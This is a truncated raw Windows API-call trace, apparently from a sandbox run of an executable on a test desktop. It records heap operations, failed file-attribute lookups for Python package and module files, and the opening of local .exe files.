[0075.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8688 | out: hHeap=0x2ad0000) returned 1 [0075.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fe40 | out: hHeap=0x2ad0000) returned 1 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.387] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216f20, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.387] GetLastError () returned 0x3 [0075.387] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216f20, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.388] GetLastError () returned 0x3 [0075.388] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32830e0, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.388] GetLastError () returned 0x3 [0075.388] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32830e0, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.388] GetLastError () returned 0x3 [0075.388] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283160, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.388] GetLastError () returned 0x3 [0075.388] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283160, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.389] GetLastError () returned 0x3 [0075.389] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32831e0, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.389] GetLastError () returned 0x3 [0075.389] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32831e0, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.389] GetLastError () returned 0x3 [0075.389] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283120, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.389] GetLastError () returned 0x3 [0075.389] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283120, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.389] GetLastError () returned 0x3 [0075.390] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283260, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.390] GetLastError () returned 0x3 [0075.390] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b9f6c | out: lpFileInformation=0x9b9f6c*(dwFileAttributes=0x5da61a08, ftCreationTime.dwLowDateTime=0x9b9f88, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3283260, ftLastWriteTime.dwHighDateTime=0x9b9fa0, nFileSizeHigh=0x9ba01c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.390] GetLastError () returned 0x3 [0075.390] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32832e0, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.390] GetLastError () returned 0x3 [0075.390] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9ba09c | out: lpFileInformation=0x9ba09c*(dwFileAttributes=0x5da625d8, ftCreationTime.dwLowDateTime=0x9ba0b8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32832e0, ftLastWriteTime.dwHighDateTime=0x9ba0d0, nFileSizeHigh=0x9ba14c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.390] GetLastError () returned 0x3 [0075.391] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba178, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.391] GetFileType (hFile=0x2ec) returned 0x1 [0075.392] GetFileType (hFile=0x2ec) returned 0x1 [0075.392] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9ba1f4 | out: lpFileInformation=0x9ba1f4) returned 1 [0075.392] FileTimeToLocalFileTime (in: lpFileTime=0x9ba208, lpLocalFileTime=0x9ba238 | out: lpLocalFileTime=0x9ba238) returned 1 [0075.392] FileTimeToSystemTime (in: lpFileTime=0x9ba238, lpSystemTime=0x9ba228 | out: lpSystemTime=0x9ba228) returned 1 [0075.392] FileTimeToLocalFileTime (in: lpFileTime=0x9ba200, lpLocalFileTime=0x9ba238 | out: lpLocalFileTime=0x9ba238) returned 1 [0075.392] FileTimeToSystemTime (in: lpFileTime=0x9ba238, lpSystemTime=0x9ba228 | out: lpSystemTime=0x9ba228) returned 1 [0075.392] FileTimeToLocalFileTime (in: lpFileTime=0x9ba1f8, lpLocalFileTime=0x9ba238 | out: lpLocalFileTime=0x9ba238) returned 1 [0075.392] FileTimeToSystemTime (in: lpFileTime=0x9ba238, lpSystemTime=0x9ba228 | out: lpSystemTime=0x9ba228) returned 1 [0075.392] GetLastError () returned 0x0 [0075.392] GetLastError () returned 0x0 [0075.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.392] GetLastError () returned 0x0 [0075.392] GetLastError () returned 0x0 [0075.392] GetLastError () returned 0x0 [0075.392] GetLastError () returned 0x0 [0075.392] GetLastError () returned 0x0 [0075.393] GetLastError () returned 0x0 [0075.393] GetLastError () returned 0x0 [0075.398] GetLastError () returned 0x0 [0075.398] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.399] CloseHandle (hObject=0x2ec) returned 1 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] GetLastError () returned 0x0 [0075.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8a58 | out: hHeap=0x2ad0000) returned 1 [0075.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325ec10 | out: hHeap=0x2ad0000) returned 1 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31cd360, Size=0x4300) returned 0x31cd360 [0075.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325ce40 | out: hHeap=0x2ad0000) returned 1 [0075.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5b9) returned 0x2cb61c8 [0075.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84140 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84140, Size=0x20) returned 0x3028490 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a18f80 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a19738 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0320 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0320, Size=0xb8) returned 0x3183d78 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183d78, Size=0xe8) returned 0x325a5d0 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a5d0, Size=0x120) returned 0x2c374c0 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2ba74a8 [0075.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x324) returned 0x2bac648 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba74a8, Size=0x1a8) returned 0x30285c8 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30285c8, Size=0x1f8) returned 0x2c30bb8 [0075.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x250) returned 0x2ac4e30 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30bb8, Size=0x250) returned 0x2ac3d58 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2c730 [0075.400] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c730, Size=0x324) returned 0x2bab5e0 [0075.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c2) returned 0x2cb6790 [0075.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c0) returned 0x325ae30 [0075.401] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab5e0, Size=0x3a4) returned 0x325ce68 [0075.401] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ce68, Size=0x434) returned 0x3263898 [0075.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263898 | out: hHeap=0x2ad0000) returned 1 [0075.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cd360 | out: hHeap=0x2ad0000) returned 1 [0075.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba20 | out: hHeap=0x2ad0000) returned 1 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e4c58 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd8a8 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cddc90 [0075.402] GetCurrentThreadId () returned 0x9b0 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cddbc8 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdda38 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cddd58 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e3d08 [0075.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e5278 [0075.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6350 [0075.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8500 [0075.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3237d50 [0075.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3237d50 | out: hHeap=0x2ad0000) returned 1 [0075.403] GetCurrentThreadId () returned 0x9b0 [0075.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8f0 [0075.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0075.403] GetCurrentThreadId () returned 0x9b0 [0075.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de998 | out: hHeap=0x2ad0000) returned 1 [0075.403] GetLastError () returned 0x0 [0075.403] GetLastError () returned 0x0 [0075.403] GetLastError () returned 0x0 [0075.403] GetLastError () returned 0x0 [0075.403] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", nBufferLength=0x208, lpBuffer=0x9b9d50, lpFilePart=0x9b9d4c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpFilePart=0x9b9d4c*="CUsers777DownloadsNewSourceNewSource.exe") returned 0x40 [0075.403] GetCurrentThreadId () returned 0x9b0 [0075.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de998 | out: hHeap=0x2ad0000) returned 1 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32db960 [0075.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e4c58 | out: hHeap=0x2ad0000) returned 1 [0075.404] GetCurrentThreadId () returned 0x9b0 [0075.404] GetLastError () returned 0x0 [0075.404] GetLastError () returned 0x0 [0075.404] GetLastError () returned 0x0 [0075.404] GetLastError () returned 0x0 [0075.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84278 | out: hHeap=0x2ad0000) returned 1 [0075.404] GetFileAttributesExA (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Modules\\Setup.dist" (normalized: "c:\\users\\fd1hvy\\desktop\\modules\\setup.dist"), fInfoLevelId=0x0, lpFileInformation=0x9ba4bc | out: lpFileInformation=0x9ba4bc*(dwFileAttributes=0x5da621b8, ftCreationTime.dwLowDateTime=0x9ba4d8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x32877e0, ftLastWriteTime.dwHighDateTime=0x9ba4f0, nFileSizeHigh=0x9ba56c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetCurrentThreadId () returned 0x9b0 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] LocalFree (hMem=0x10520f8) returned 0x0 [0075.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de848 | out: hHeap=0x2ad0000) returned 1 [0075.405] GetCurrentThreadId () returned 0x9b0 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] GetLastError () returned 0x3 [0075.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84350 | out: hHeap=0x2ad0000) returned 1 [0075.405] GetFileAttributesExA (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Modules\\Setup.local" (normalized: "c:\\users\\fd1hvy\\desktop\\modules\\setup.local"), fInfoLevelId=0x0, lpFileInformation=0x9ba4bc | out: lpFileInformation=0x9ba4bc*(dwFileAttributes=0x5da621b8, ftCreationTime.dwLowDateTime=0x9ba4d8, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3287820, ftLastWriteTime.dwHighDateTime=0x9ba4f0, nFileSizeHigh=0x9ba56c, nFileSizeLow=0x72ffe51c)) returned 0 [0075.406] GetLastError () returned 0x3 [0075.406] GetLastError () returned 0x3 [0075.406] GetLastError () returned 0x3 [0075.406] GetCurrentThreadId () returned 0x9b0 [0075.406] GetLastError () returned 0x3 [0075.406] GetLastError () returned 0x3 [0075.406] GetLastError () returned 0x3 [0075.406] GetLastError () returned 0x3 [0075.406] LocalFree (hMem=0x1051de8) returned 0x0 [0075.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0075.406] GetCurrentThreadId () returned 0x9b0 [0075.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb61c8 | out: hHeap=0x2ad0000) returned 1 [0075.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.406] GetCurrentThreadId () returned 0x9b0 [0075.406] GetCurrentThreadId () returned 0x9b0 [0075.406] GetCurrentThreadId () returned 0x9b0 [0075.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.407] GetCurrentThreadId () returned 0x9b0 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x2cb61c8 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb61c8 | out: hHeap=0x2ad0000) returned 1 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e4c58 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7118 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84170 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.407] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba20, Size=0x14) returned 0x2ba86c0 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab960 | out: hHeap=0x2ad0000) returned 1 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84170 | out: hHeap=0x2ad0000) returned 1 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84278 | out: hHeap=0x2ad0000) returned 1 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba86c0 | out: hHeap=0x2ad0000) returned 1 [0075.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e4c58 | out: hHeap=0x2ad0000) returned 1 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028350 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c840f8 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.408] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab9b0, Size=0x14) returned 0x2ba86a0 [0075.408] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba86a0, Size=0x24) returned 0x2a20258 [0075.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba20 | out: 